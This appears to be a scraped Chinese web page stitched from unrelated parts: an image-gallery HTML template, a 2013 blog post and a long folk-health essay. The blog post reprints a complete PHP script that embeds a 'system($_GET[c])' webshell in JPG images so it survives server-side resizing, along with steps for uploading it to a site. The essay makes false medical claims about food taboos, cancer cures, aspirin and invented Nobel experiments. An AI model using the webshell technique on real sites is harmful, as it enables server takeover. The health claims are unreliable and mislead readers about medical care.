<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>图集 - 价值中国网</title>
<style type="text/css">
*{margin:0;padding:0;list-style-type:none;}
a,img{border:0;}
a, a:link, a:visited{color:#006699;text-decoration:none;}
a:hover{color:#ff7031;}
body{background-color:#000;font:12px/180% Arial, Helvetica, sans-serif, "新宋体";}
.HS10, .HS15{overflow:hidden;clear:both;}
.HS10{height:10px;}
.HS15{height:15px;}
.Hidden{display:none;}
.Clearer{display:block;clear:both;font-size:1px;line-height:1px;margin:0;padding:0;}
.FlLeft{float:left;}
.FlRight{float:right;}
/*幻灯片区域背景*/
.MainBg{background-color:#222;width:960px;margin:0 auto;}
/*标题和页码*/
.Title{color:#EEE;padding:5px 20px 0 20px;text-align:center;line-height:40px;height:40px;}
.Title h1{display:inline;}
.Title .Counter{color:#666;}
.Title .CounterCurrent{color:#C00;font-size:20px;font-weight:bold;}
/*灰色分隔线*/
.SpaceLine{border-bottom:1px solid #333;height:1px;font-size:1px;}
/*大图展示区域*/
.OriginalPicBorder{padding:15px 15px 0 15px;}
#OriginalPic{width:930px;overflow:hidden;position:relative;font-size:12px;}
#OriginalPic img{display:block;margin:0 auto;}
/*鼠标手势*/
.CursorL{position:absolute;z-index:999;width:50%;height:600px;color:#FFF;left:120px;cursor:url(images/CurL.cur), auto;background:url(images/space.png) repeat scroll 0 0 transparent;}
.CursorR{position:absolute;z-index:999;width:50%;height:600px;color:#FFF;right:0;cursor:url(images/CurR.cur), auto;background:url(images/space.png) repeat scroll 0 0 transparent;}
/*小图预览和滑动*/
.SliderPicBorder{width:800px;height:600px;overflow:hidden;}
.Summary{line-height:20px;display:block;width:100px;margin-right:10px;color:#999;overflow:hidden;background-color:#333;padding:10px;}
.More{text-align:right;color:#666;line-height:40px;height:40px;font-size:12px;display:block;}
.ThumbPicBorder {width:940px;margin:0 auto;}
#ThumbPic img{border:3px solid #666;cursor:pointer;background-color:#666;margin:0 4px;width:130px;height:80px;display:block;}
#ThumbPic img.active{border:3px solid #FF9900;}
</style>
<script type="text/javascript" src="js/jquery-1.4.2.min.js"></script>
<script type="text/javascript" src="js/jquery.jcarousellite.min.js"></script>
</head>
<body>
<div class="MainBg">
<div class="HS10"></div>
<div class="Title">
<h1>开车回家过春季希望高速公路一路畅通</h1>
<span class="Counter">(<span class="CounterCurrent">1</span>/7)</span>
</div>
<div class="SpaceLine"></div>
<div class="OriginalPicBorder">
<div id="OriginalPic">
<div id="aPrev" class="CursorL"></div>
<div id="aNext" class="CursorR"></div>
<p class="Hidden">
<span class="Summary FlLeft">台风登陆吴川,来不及躲避的行人被吹倒。7月22日13时45分,2010年第3号台风“灿都”在吴川市吴阳镇沿海地区登陆。登陆时中心附近最大风力12
级,阵风15级,风速高达35米/秒。据初步统计,全市共93.9万人受灾,倒塌房屋689间,直接经济损失12.48亿元。 </span>
<span class="SliderPicBorder FlRight"><img src="pic/127e5101-309d-4699-9e14-93150b1eb36f.jpg" /></span>
<span class="Clearer"></span>
<span class="More">
<a href="pic/127e5101-309d-4699-9e14-93150b1eb36f.jpg" target="_blank">查看原图</a>
<span class="OptLine">|</span>
<a href="http://www.17sucai.com/">更多图库</a>
</span>
</p>
<p class="Hidden">
<span class="Summary FlLeft">Elie Saab一直都是明星们最爱的红毯礼服,设计师永远专注于他的礼服设计,Elie Saab本季的高级定制为女性展现了一个奢华的公主梦,华丽的服饰,奢侈的配饰,闪烁着熠熠光彩,在带给我们炫目耀眼时尚感觉的同时,亦让我们感受到了优雅而生动的女性魅力。一幅幅清新的水彩画,画里走出的是花神般圣洁的身影,轻盈的纱质面料贯穿全场,花朵造型处处可见。</span>
<span class="SliderPicBorder FlRight"><img src="pic/fd020de3-5596-4abf-b77a-09b693203376.jpg" /></span>
<span class="Clearer"></span>
<span class="More">
<a href="pic/fd020de3-5596-4abf-b77a-09b693203376.jpg" target="_blank">查看原图</a>
<span class="OptLine">|</span>
<a href="http://www.17sucai.com/">更多图库</a>
</span>
</p>
<p class="Hidden">
<span class="Summary FlLeft">文化艺术类单幅金奖-车模另一面 2010年8月28日,浙江宁波国际汽车博览会,后台休息间隙,24岁的车模紫轩站到椅子上,用手机为同伴拍照。</span>
<span class="SliderPicBorder FlRight"><img src="pic/8144f000-4c92-4f66-bd5a-dae48ca37b0d.jpg" /></span>
<span class="Clearer"></span>
<span class="More">
<a href="pic/8144f000-4c92-4f66-bd5a-dae48ca37b0d.jpg" target="_blank">查看原图</a>
<span class="OptLine">|</span>
<a href="http://www.17sucai.com/">更多图库</a>
</span>
</p>
<p class="Hidden">
<span class="Summary FlLeft">体育新闻类单幅铜奖-水上飞 2010年10月15日,中国柳州世界水上极速运动大赛第二单元——水上摩托艇世锦赛较量,自由花式选手在比赛中。</span>
<span class="SliderPicBorder FlRight"><img src="pic/5a1b9d3a-7846-4ccc-a634-09593b89595f.jpg" /></span>
<span class="Clearer"></span>
<span class="More">
<a href="pic/5a1b9d3a-7846-4ccc-a634-09593b89595f.jpg" target="_blank">查看原图</a>
<span class="OptLine">|</span>
<a href="http://www.17sucai.com/">更多图库</a>
</span>
</p>
<p class="Hidden">
<span class="Summary FlLeft">日常生活类单幅银奖-女交警微笑执勤 2010年4月9日下午,在西安市西华门十字,一男子坐在岗台上醉言醉语,岗台上的女警面带微笑照常执勤。随后,交警莲湖大队的男交警赶来,将男子强行带离。本着人性化执法考虑,因该男子的“纠缠”只是醉酒后无意行为,民警将其批评教育后放人。</span>
<span class="SliderPicBorder FlRight"><img src="pic/9c30ceb5-dece-4278-9717-27df61d69a69.jpg" /></span>
<span class="Clearer"></span>
<span class="More">
<a href="pic/9c30ceb5-dece-4278-9717-27df61d69a69.jpg" target="_blank">查看原图</a>
<span class="OptLine">|</span>
<a href="http://www.17sucai.com/">更多图库</a>
</span>
</p>
<p class="Hidden">
<span class="Summary FlLeft">早上等灯的时候看见这一串脚印,可惜没带相机,只能用手机了。路面的雪清理的太快了,压根儿不像下过雪的样子。朝阳路最近很好走,这两天几乎都是四十多分钟就能到,我很满足,我很欣慰。</span>
<span class="SliderPicBorder FlRight"><img src="pic/b047fbe5-eaa9-418a-a9bd-ad01925f6005.jpg" /></span>
<span class="Clearer"></span>
<span class="More">
<a href="pic/b047fbe5-eaa9-418a-a9bd-ad01925f6005.jpg" target="_blank">查看原图</a>
<span class="OptLine">|</span>
<a href="http://www.17sucai.com/">更多图库</a>
</span>
</p>
<p class="Hidden">
<span class="Summary FlLeft">“没有穆巴拉克的埃及,将可能是一个军方控制的、有极端倾向的、不利于中东和平稳定的、各派争斗导致局势长期混沌的埃及,即埃及人逼迫穆巴拉克辞职,对埃及人不一定有利。无论埃及人此举是福是祸,都是自由选择必须要承担的代价,任何群体不可能既想自由选择,又不想承担自由选择后果和责任。”</span>
<span class="SliderPicBorder FlRight"><img src="pic/15af3ea6-10f1-45ef-9dfa-6bf9013a3915.jpg" /></span>
<span class="Clearer"></span>
<span class="More">
<a href="pic/15af3ea6-10f1-45ef-9dfa-6bf9013a3915.jpg" target="_blank">查看原图</a>
<span class="OptLine">|</span>
<a href="http://www.17sucai.com/">更多图库</a>
</span>
</p>
</div>
</div>
<div class="SpaceLine"></div>
<div class="HS15"></div>
<div class="ThumbPicBorder">
<img src="images/ArrowL.jpg" id="btnPrev" class="FlLeft" style="cursor:pointer;" />
<div class="jCarouselLite FlLeft">
<ul id="ThumbPic">
<li rel='1'><img src="pic/127e5101-309d-4699-9e14-93150b1eb36f_T.jpg" /></li>
<li rel='2'><img src="pic/fd020de3-5596-4abf-b77a-09b693203376_T.jpg" /></li>
<li rel='3'><img src="pic/8144f000-4c92-4f66-bd5a-dae48ca37b0d_T.jpg" /></li>
<li rel='4'><img src="pic/5a1b9d3a-7846-4ccc-a634-09593b89595f_T.jpg" /></li>
<li rel='5'><img src="pic/9c30ceb5-dece-4278-9717-27df61d69a69_T.jpg" /></li>
<li rel='6'><img src="pic/b047fbe5-eaa9-418a-a9bd-ad01925f6005_T.jpg" /></li>
<li rel='7'><img src="pic/15af3ea6-10f1-45ef-9dfa-6bf9013a3915_T.jpg" /></li>
</ul>
<div class="Clearer"></div>
</div>
<img src="images/ArrowR.jpg" id="btnNext" class="FlLeft" style="cursor:pointer;" />
<div class="Clearer"></div>
</div>
<div class="HS15"></div>
</div>
<script type="text/javascript">
//缩略图滚动事件
$(".jCarouselLite").jCarouselLite({
btnNext: "#btnNext",
btnPrev: "#btnPrev",
scroll: 1,
speed: 240,
circular: false,
visible: 6
});
</script>
<script type="text/javascript">
var currentImage;
var currentIndex = -1;
//显示大图(参数index从0开始计数)
function showImage(index){
//更新当前图片页码
$(".CounterCurrent").html(index + 1);
//隐藏或显示向左向右鼠标手势
var len = $('#OriginalPic img').length;
if(index == len - 1){
$("#aNext").hide();
}else{
$("#aNext").show();
}
if(index == 0){
$("#aPrev").hide();
}else{
$("#aPrev").show();
}
//显示大图
if(index < $('#OriginalPic img').length){
var indexImage = $('#OriginalPic p')[index];
//隐藏当前的图
if(currentImage){
if(currentImage != indexImage){
$(currentImage).css('z-index', 2);
$(currentImage).fadeOut(0,function(){
$(this).css({'display':'none','z-index':1})
});
}
}
//显示用户选择的图
$(indexImage).show().css({'opacity': 0.4});
$(indexImage).animate({opacity:1},{duration:200});
//更新变量
currentImage = indexImage;
currentIndex = index;
//移除并添加高亮
$('#ThumbPic img').removeClass('active');
$($('#ThumbPic img')[index]).addClass('active');
//设置向左向右鼠标手势区域的高度
//var tempHeight = $($('#OriginalPic img')[index]).height();
//$('#aPrev').height(tempHeight);
//$('#aNext').height(tempHeight);
}
}
//下一张
function ShowNext(){
var len = $('#OriginalPic img').length;
var next = currentIndex < (len - 1) ? currentIndex + 1 : 0;
showImage(next);
}
//上一张
function ShowPrep(){
var len = $('#OriginalPic img').length;
var next = currentIndex == 0 ? (len - 1) : currentIndex - 1;
showImage(next);
}
//下一张事件
$("#aNext").click(function(){
ShowNext();
if($(".active").position().left >= 144 * 5){
$("#btnNext").click();
}
});
//上一张事件
$("#aPrev").click(function(){
ShowPrep();
if($(".active").position().left <= 144 * 5){
$("#btnPrev").click();
}
});
//初始化事件
$(".OriginalPicBorder").ready(function(){
ShowNext();
//绑定缩略图点击事件
$('#ThumbPic li').bind('click',function(e){
var count = $(this).attr('rel');
showImage(parseInt(count) - 1);
});
});
</script>
</body>
</html>
月度归档:2013年10月
突破php 的imagecopyresampled 和imagecopyresized 实现图片马 JPG
之前有人发布了 利用PNG 图片上述压缩函数的方法 原理利用
PNG的结构IDAT chunks填充一句话webshell,并进行一套取模运算 详见:
https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
但是受限于 图像的尺寸 必须320×320 且必须是PNG格式
那JPG怎么办
神奇的老外 提出了列方法
<?php
/*
The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations
caused by PHP functions imagecopyresized() and imagecopyresampled().
It is necessary that the size and quality of the initial image are the same as those of the processed
image.
1) Upload an arbitrary image via secured files upload script
2) Save the processed image and launch:
php jpg_payload.php <jpg_name.jpg>
In case of successful injection you will get a specially crafted image, which should be uploaded again.
Since the most straightforward injection method is used, the following problems can occur:
1) After the second processing the injected data may become partially corrupted.
2) The jpg_payload.php script outputs “Something’s wrong”.
If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another
initial image.
Sergey Bobrov @Black2Fan.
See also:
https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
*/
$miniPayload = ‘<?=system($_GET[c]);?>’;
if(!extension_loaded(‘gd’) || !function_exists(‘imagecreatefromjpeg’)) {
die(‘php-gd is not installed’);
}
if(!isset($argv[1])) {
die(‘php jpg_payload.php <jpg_name.jpg>’);
}
set_error_handler(“custom_error_handler”);
for($pad = 0; $pad < 1024; $pad++) {
$nullbytePayloadSize = $pad;
$dis = new DataInputStream($argv[1]);
$outStream = file_get_contents($argv[1]);
$extraBytes = 0;
$correctImage = TRUE;
if($dis->readShort() != 0xFFD8) {
die(‘Incorrect SOI marker’);
}
while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
$marker = $dis->readByte();
$size = $dis->readShort() – 2;
$dis->skip($size);
if($marker === 0xDA) {
$startPos = $dis->seek();
$outStreamTmp =
substr($outStream, 0, $startPos) .
$miniPayload .
str_repeat(“\0”,$nullbytePayloadSize) .
substr($outStream, $startPos);
checkImage(‘_’.$argv[1], $outStreamTmp, TRUE);
if($extraBytes !== 0) {
while((!$dis->eof())) {
if($dis->readByte() === 0xFF) {
if($dis->readByte !== 0x00) {
break;
}
}
}
$stopPos = $dis->seek() – 2;
$imageStreamSize = $stopPos – $startPos;
$outStream =
substr($outStream, 0, $startPos) .
$miniPayload .
substr(
str_repeat(“\0”,$nullbytePayloadSize).
substr($outStream, $startPos, $imageStreamSize),
0,
$nullbytePayloadSize+$imageStreamSize-$extraBytes) .
substr($outStream, $stopPos);
} elseif($correctImage) {
$outStream = $outStreamTmp;
} else {
break;
}
if(checkImage(‘payload_’.$argv[1], $outStream)) {
die(‘Success!’);
} else {
break;
}
}
}
}
unlink(‘payload_’.$argv[1]);
die(‘Something\’s wrong’);
function checkImage($filename, $data, $unlink = FALSE) {
global $correctImage;
file_put_contents($filename, $data);
$correctImage = TRUE;
imagecreatefromjpeg($filename);
if($unlink)
unlink($filename);
return $correctImage;
}
function custom_error_handler($errno, $errstr, $errfile, $errline) {
global $extraBytes, $correctImage;
$correctImage = FALSE;
if(preg_match(‘/(\d+) extraneous bytes before marker/’, $errstr, $m)) {
if(isset($m[1])) {
$extraBytes = (int)$m[1];
}
}
}
class DataInputStream {
private $binData;
private $order;
private $size;
public function __construct($filename, $order = false, $fromString = false) {
$this->binData = ”;
$this->order = $order;
if(!$fromString) {
if(!file_exists($filename) || !is_file($filename))
die(‘File not exists [‘.$filename.’]’);
$this->binData = file_get_contents($filename);
} else {
$this->binData = $filename;
}
$this->size = strlen($this->binData);
}
public function seek() {
return ($this->size – strlen($this->binData));
}
public function skip($skip) {
$this->binData = substr($this->binData, $skip);
}
public function readByte() {
if($this->eof()) {
die(‘End Of File’);
}
$byte = substr($this->binData, 0, 1);
$this->binData = substr($this->binData, 1);
return ord($byte);
}
public function readShort() {
if(strlen($this->binData) < 2) {
die(‘End Of File’);
}
$short = substr($this->binData, 0, 2);
$this->binData = substr($this->binData, 2);
if($this->order) {
$short = (ord($short[1]) << 8) + ord($short[0]);
} else {
$short = (ord($short[0]) << 8) + ord($short[1]);
}
return $short;
}
public function eof() {
return !$this->binData||(strlen($this->binData) === 0);
}
}
?>
http://pastebin.com/3cznqi8P
具体方法 时:
1. 你先要 上传你想要构造的图片马原片
2. 等网站生成完缩略图下载下来
3. 用上述脚本 生成带图片的 木马
4. 重新上传到网站 结束
这个也要看运气成分
为设计师准备的 10 个非常有用和高效的线框图工具
给设计人员的10个极为有用又划算的线框图工具
|
Wireframe.cc — 在线线框图工具(免费)
|
Balsamiq Mockups—基于Flash的快速线框工具
|
Pencil—GUI原型设计工具(开源)
|
Live Wires—iPad上的线框图App
|
吃了会死的食物
△芒果是止血的,但是来月经的人不要吃;否则就会产生子宫肌瘤!△韭菜具有壮阳的作用,小孩子不能吃。南瓜具有升压、止喘的作用,高血压的人不能吃。
△芥菜、茴香菜、蒜薹、青蒜、洋葱头、柿子椒具有温里的作用,发热的人不能吃。
△山药、山药蛋具有补气的作用,失眠的人不能吃。
△马齿苋、芋头、苦瓜、雪里红具有清热的作用,阳痿的人不能吃。
△茄子、扁豆、豇豆、荷兰豆、毛豆具有行气的作用,腹泻的人不能吃。
△香椿具有安神的作用,从事敏捷工作的人不能吃。
△菜花、百合具有滋阴的作用,水肿的人不能吃。
△菠菜、竹笋、茼蒿具有酸涩的作用,便秘的人不能吃。
△荠菜、空心菜、黄花菜具有止血的作用,有血栓的人不能吃。
△苋菜、卷心菜具有补血的作用,血液黏稠的人不能吃。
△芹菜、白菜、小白菜、油菜、生菜、茭白、菜笋、冬瓜、葫芦瓜具有利尿的作用,糖尿病、高血压、口干舌燥的人不能吃。
△香菜具有发汗的作用,汗多的人不能吃。△灵芝、冬笋、紫菜具有化痰的作用,癌症病人不能吃。
△蘑菇、黑木耳、白木耳、石耳、地耳具有泻下的作用,腹泻的人不能吃。
△丝瓜、蕨菜、芦荟具有活血的作用,癌症病人不能吃。然而许多人乱吃,因此吃出病来;而有病之后还乱吃,因此不能痊愈。
△核桃是壮阳的,但是癌病人不要吃;否则肿块就会长大。
△枇杷、银杏是止咳的,但是不咳嗽不要吃;否则就会头晕腹胀。
△荔枝是温里的,但是癌病人不要吃;否则肿块就会长大。
△大枣是补气的,但是不疲乏不要吃;否则就会失眠。
△橄榄、罗汉果是清热的,但是阳痿的年轻人不要吃;否则就会阴茎疲软。△香橼、佛手是行气的,但是不腹胀不要吃;否则就会拉稀。
△龙眼是安神的,但是疲乏的人不要吃;否则就会嗜睡。
△柠檬是滋阴的,但是癌病人不要吃;否则肿块就会水肿。
△芭蕉、橘子、橙子、樱桃、柿子、石榴、杨梅、杨桃、木瓜、莲子、山竹果是止泻的,但是便秘的人不要吃;否则就会更加便秘。
△芒果是止血的,但是来月经的人不要吃;否则就会产生子宫肌瘤。
△酸藤果是补血的,但是血黏稠的人不要吃;否则就会发生血栓。
△西瓜、甜瓜、葡萄、柑子、猕猴桃、菠萝、菱角、草莓是利尿的,但是高血压、糖尿病人不要吃;否则就会增加血黏度。
△椰子水是解表的,但是不感冒的人不要吃;否则就会多汗伤阴。
△金橘、柚子、荸荠、花生是化痰的,但是癌病人不要吃;否则就会造成肿块破溃。
△梨子、香蕉、无花果、桑椹子、松子、酸角是泻下的,但是慢性结肠炎的人不要吃;否则就会洞泻不止。
△桃子、栗子、薜荔果是活血的,但是癌病人不要吃;否则就会造成肿块转移。
△香榧子、榛子、槟榔是杀虫的,但是肝炎病人不要吃;否则就会造成肝损害。有人说,桃子保人杏伤人,李树底下埋新坟,似乎桃子最安全。错了,自古以来,苹果的药性平和,最适合一般人使用。
西红柿。
在美国,几乎每个家庭都种蕃茄、吃蕃茄,目的是不得癌症。这是刚刚5、6年前才知道的。吃西红柿不得癌症,你知道吗?不得子宫癌、卵巢癌、胰腺癌、膀胱癌、前列腺癌。这这西红柿不是随便吃的,我问大家,西红柿怎么吃?有人说,那还不简单,洗洗就生吃呗。还有人切片放白糖,再喝点啤酒。如果是这么吃的,我告诉你,白吃了!不抗癌。西红柿里面有个东西叫蕃茄素,它和蛋白质结合在一块,周围有纤维素包裹,很难出来。所以必须加温,加温到一定程度才出来。我告诉大家,西红柿炒鸡蛋最值钱了。还有蕃茄汤,或西红柿鸡蛋汤也是好的。生吃西红柿不抗癌,请大家注意。[/url]
还有大 蒜
大蒜是抗癌之王。我刚一说大蒜怎么吃,有人就说:那玩意得加温吃。你咋什么都加温?我告诉大家,大蒜加温等于零!山东人、东北人最爱吃,一瓣瓣地吃,还说吃大蒜不得癌,但没几天他先得癌症了。什么原因?现在世界上都知道怎么吃大蒜,只有我们不知道。告诉大家,原来是必须先把它切成片,一片一片的薄片放在空气里15分钟,它跟氧气结合以后产生大蒜素。大蒜本身不抗癌,大蒜素才抗癌,而且是抗癌之王。我那天见人吃大蒜,他拿过一碗面,然后很快就把大蒜剥出来了,一瓣一瓣地吃,还不到5秒钟就吃进去了。连5秒钟都没有,这大蒜有什么用呀?一点也没有。如果不按我的方法,那是白吃了
大蒜有味不用怕,吃点山楂,嚼点花生米,再吃点好茶叶就没味了。国外每礼拜都吃的,我们为什么不吃呀!
下面讲黑木耳。
黑木耳有什么作用?现在一到过年时心肌梗死一个挨一个,年龄越来越小,已经到30岁了。为什么过年时多?两个原因,一个是高凝体质血稠,就是脂肪高。大家记住,血稠的人叫高凝体质。高凝体质的人加上高凝食物,所以过年时心肌梗死的人特别多,年龄不限。心肌梗死虽然无法治,但完全可以预防。有的大夫告诉你吃阿司匹林,为什么?可以使血不粘稠,不得心肌梗死。但后果是什么,吃阿司匹林的后果是眼底出血,现在很多人眼底出血。我劝大家不要吃阿司匹林了。现在欧洲已经不吃阿司匹林了,吃什么?吃黑木耳。黑木耳有两个作用,其中一个是使血不粘稠。黑木耳的作用是美国心脏病专家发现的,他得了诺贝尔奖。他发现以后,所有欧洲人、有钱有地位的人都吃黑木耳,而不吃阿司匹林了。什么样的人是高凝体质?答案是矮、粗、胖的人,特别是更年期的女同胞。而且血型AB的人更容易高凝血稠。还有脖子越短越容易高凝血稠。第一过年时不要胡吃海塞;第二多喝点好茶,活血化瘀;第三千万不要生气,一生气血就稠。喝白酒也容易血稠,要喝就喝果酒如荔枝酒、红酒等,不超过100毫升。
千万不要吃,实在要吃,把皮剥了吃。你看咱中国的花生米,五香花生米、炒花生米、炸花生米全都带皮。你到欧洲去看看,所有花生米没有带皮的,人家知道不要吃皮。有人说:”这皮不是有营养吗”?谁说的,我告诉大家,花生皮没有营养,它只能治血凝片,提高血小板,止血用的。我们中老年人千万不要吃了。还有看电视要注意,好电视就看会儿,不好的电视不看。为什么?长时间坐在那儿,血凝度会升高。我特别担心的是什么?他本来短粗胖,没脖子,还在更年期,又是AB血型,胡吃海塞,然后一生气,又喝白酒,完了吃花生米不剥皮,他要不得心肌梗死我这大夫不当了。
下面谈谈花粉
武则天就吃花粉,慈禧太后也吃花粉。大家知道,花粉是植物的精子,它孕育着生命,营养最丰富,在植物里是最好的东西。古代就有了,但我们忽略了它。大家不要在街上买花粉,街上卖的花粉有硬壳,没有破壁。破壁要有高科技处理。第二,花粉是野生的,容易污染,要消毒。第三,它是蛋白质,必须脱敏。花粉必须具备这三条才能用:处理、消毒、脱敏。花粉在日本用得最厉害,不管多大年纪的人都用它美容。法国的模特没一人不用它。文献记载,花粉治愈率97%。如用花粉治不好,药也解决不了,最后肾功能衰竭,尿血,然后肾肿瘤。所以要早点治而不要等到肾功能衰竭。还有一个胃肠道紊乱,女同胞多,习惯性便秘。很多人吃泻药而很容易得直肠癌、结肠癌。花粉有个名字叫肠道警察,吃了花粉以后,警察可以维持肠道秩序。第三它健美,维持体型。花粉的三大作用不可忽略。
广播电台说吃四条腿的不如吃两条腿的,而吃两条腿的不如吃多条腿的。在欧洲不一样,你如果参加宴会,要注意,假如有牛肉,又有猪肉,应该吃猪肉。牛肉的问题太多,第一有疯牛病,第二有口蹄疫,第三有不良胆固醇。现在美国有三万妇女得了淋巴肿瘤,吃汉堡包吃出来的。所以他们争论很大,已经杀了几万头牛,我们应该慎重吃。如果有猪肉又有羊肉,吃羊肉;有羊肉又有鸡肉,吃鸡肉;有鸡有鱼,吃鱼;有鱼有虾,那吃虾呀。这不是客气,动物越小蛋白越好。朴素的大众营养学就看动物大小,拿来分子式谁也看不懂。我还没说老鼠呢。国际会议上说跳蚤的蛋白最好。跳蚤别看它那么小,它可以跳1米多高,你信不信。如果把它放大到人体那么大,它可以跳到月球上去。所以有几个美国医生在琢磨怎么吃跳蚤呢。现在联合国WHO建议大家多吃点鸡和鱼,那为什么不提虾呢?不是不提,而是虾太贵了,不容易普及。如果有虾,还是吃虾好。我现在掌握这么个原则:要是虾来了我就吃两口虾,这两口比你一肚子牛肉的蛋白都要多。鱼容易普及,鱼肉蛋白1个小时就能吸收,吸收率为100%,而牛肉蛋白3小时才吸收。鱼对老年人尤其是身体虚弱的人特别合适。当然虾比鱼还好。国际上调查了,全世界最有名的长寿地区在日本,日本的长寿地区在海边,而海边寿命最长的是吃鱼的地方。特别要吃小鱼、小虾,特别要吃全鱼(连头带尾),因为有活性物质,而且活性物质在小鱼、小虾的头部和腹部。看你会不会买鱼,要买就买小鱼小虾,而且吃全鱼全虾,这有大学问,不是买鱼越大越好
还有个吃的原则,吃东西要掌握量,不是越多越好。国际上有规定的,要吃7成饱,一辈子不得胃病,吃8成饱最多了,若吃10成饱,那2成没有用,是废物。所以国际上建议大家0.618黄金分割:副食6主食4;粗粮6细粮4;植物6动物4。现在人类吃的动物太多,而且粗细粮不平衡。
物质平衡有个规律,我简单介绍一下。初生到5个月婴儿吃母乳最好,超过5个月母乳也不行了,需要42种以上的食品。人到老年就更难了,吃什么?吃海藻,把它晒干了包包子吃,然后喝海藻汤。螺旋藻是1962年发现,它1克等于1000克各种蔬菜的综合。当时只有皇帝皇后、奥林匹克冠军吃,别人吃不着。很多年后发现这东西特别好,营养特别丰富,最全面,营养分布最平衡,而且是碱性食品。我告诉大家,日本为什么是长寿世界冠军,他们一年消耗500吨螺旋藻,他们到中国旅游每人都带它。我们问他们,为什么带螺旋藻?他们说,8克螺旋藻就可以维持生命40天。现在的太空食品,没有带包子大饼的,全都是螺旋藻。螺旋藻在世界上很驰名了,所以你如果营养不好,别忘了这东西,它能平衡饮食的。它对几个病特别重要,第一是心脑血管病,它能降血压、降血脂;第二是糖尿病,这病是缺少蛋白、维生素,很难治愈,螺旋藻能补充维生素,而且螺旋藻的最大优点是使糖尿病人不得合并症,能跟正常人饮食一样。糖尿病人缺少能量,又不能吃糖,螺旋藻是干糖,摄入干糖后就有能量了。第三是胃炎、胃溃疡,螺旋藻有叶绿素,对胃粘膜有恢复作用。第四是肝炎,国际上没有肝炎,为什么?人家分餐了。所以呼吁每个家庭要注意,最好分餐。注意,很多人看起来是健康的,你看不出他是带菌者。螺旋藻能使病毒不复制,而且大量氨基酸能使肝细胞恢复。它有胆碱,能使肝功能恢复,提高免疫功能。螺旋藻还有防辐射作用。苏联核电站爆炸时,日本专家去抢救,拿的就是螺旋藻,它抗辐射作用很强。螺旋藻提纯后,很纯很小一点叫藻复康,唯一抗辐射的就是藻复康。所以在电脑前工作的人,吃藻复康。它抗辐射、抗肿瘤、抗病毒、抗氧化,而且提高免疫功能。
我再总结一下,辐射对我们影响很大,但有几个方法可以预防:第一喝绿茶,第二吃青菜、萝卜,第三吃螺旋藻,第四吃藻复康。藻复康是最好的。根据自己的经济条件选择一种,实在不行就吃青菜萝卜。辐射是每个人都会接触到的。国际上提出了警告:千万不要把电器放在卧室内。尤其是微波炉对我们危害最大,它7米内对我们都有辐射。而且各种电器不要同时开着。又有电视,又有冰箱,又有微波炉,你就在旁边做菜,得了癌症很冤枉啊。
有氧运动
有一个很原则的经验,千万不要早上锻炼。建议大家傍晚锻炼。国际上规定了,饭后45分钟再运动。而且老年人的运动散步就可以了,20分钟。要想减肥不用这方法,饭前半小时到一小时吃2粒到4粒螺旋藻,然后食欲就减退了,而且营养不缺。欧洲人减肥全用螺旋藻,国内的少吃多拉不是办法。第二是早上起床的时间,国际上规定6点,供你参考。开窗时间国际上规定9点至11点,下午2点至4点。为什么?因为9点以后污染空气下沉了,污染物质减少了,没有反流现象。各位注意,早上起来开窗户,不要在那里大喘气,因为致癌物质、反流物质都跑到你肺里了,容易得肺癌。国际上警告说,早上6点至9点是致癌最危险的时候。早起早睡身体好,不能一概而论。你夜里在家吸了一肚子二氧化碳,呼吸道里的毒素有100多种,又跑到小树林里,树林里早上又全是二氧化碳。早上锻炼,基础血压高,基础体温高,肾上腺素比傍晚高4倍,有心脏病的人很容易出问题。树林里必须到太阳出来,日光跟叶绿素起反应才能产生氧气。树林里全是二氧化碳的时候,容易中毒,容易得癌症。黄帝内经里说”没太阳不锻炼”。我建议大家夏天早睡早起,冬天不要早上出去锻炼,而改为晚上锻炼。也不是说什么样的人都早睡早起身体好,岁数大的人不要猛起。
下面提到午睡问题。午睡时间是午饭后半小时,而且最好睡一个小时,睡的太长对身体没有好处。不要盖大被子。晚上什么时间睡觉?我们从来不提倡早睡早起。早睡早起的概念要清楚,如果7点就睡,12点就起来瞎折腾,那没有用。我们主张10点到10:30睡觉,因为国际会议上定的,一小时到一个半小时进入深睡眠是最科学的,这就是12点到3点,这3小时雷打不动,什么也别干。这3小时是深睡眠。如果这3小时谁好了,第二天起来一定精神焕发。如果你4点以后睡觉,那是浅睡眠。会睡和不会睡不一样。我们主张12点至凌晨3点雷打不动,而且睡前洗个热水澡,水温40~50度,这会使睡眠质量高。
心理状态
如果心理状态不好,那你白吃白锻炼了,这是很重要的。气质和血液,你要是一生气血流得久慢,得肿瘤还不知道什么原因。生气易得肿瘤,全世界都知道。斯坦福大学做了个很有名的实验,拿鼻管搁在鼻子上让你喘气,然后再拿鼻管放在雪地里十分钟。如果冰雪不改变颜色,说明你心平气和;如果冰雪变白了,说明你很内疚;如果冰雪变紫了,说明你很生气。把那紫色的冰雪抽出1~2毫升给小老鼠打上,1~2分钟后小老鼠就死了。而且紫色冰雪的成分都研究出来了。所以生气容易得肿瘤,这是个很严重的问题。”谁在人前不讲人,谁人背后无人讲”。我劝你们,谁让你生气,你别生气。如果你憋不住,我告诉大家,你看一下表,别超过5分钟,超过5分钟要坏事,血变紫了。这个实验已经得了诺贝尔奖了。人家心理学会提出了5个避免生气的方法:一是躲避;二是转移,人家骂你,你去下棋、钓鱼,没听见;三是释放,但要注意,人家骂你,你再去骂别人不叫释放,是找知心朋友谈谈,释放出来,要不然搁在心里要得病的;四是升华,就是人家越说你,你越好好干;五是控制,三国演义里诸葛亮三气周瑜,楞把周瑜气死了。你说赖周瑜还是赖诸葛亮?结论是赖周瑜,他气量太小。生气对人危害很大。
